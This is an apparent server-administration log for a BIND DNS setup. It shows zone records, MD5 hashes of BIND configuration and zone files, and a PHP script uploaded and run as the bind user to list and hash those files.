eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 92f57ba06267100feb52b7cbcddd8c20
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:35:51: Establishing a connection
2026-03-31 11:35:51: Establishing a connection
2026-03-31 11:35:51: 

PUT: /tmp/pkp854703

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:35:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp854703; rm /tmp/pkp854703'

2026-03-31 11:35:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
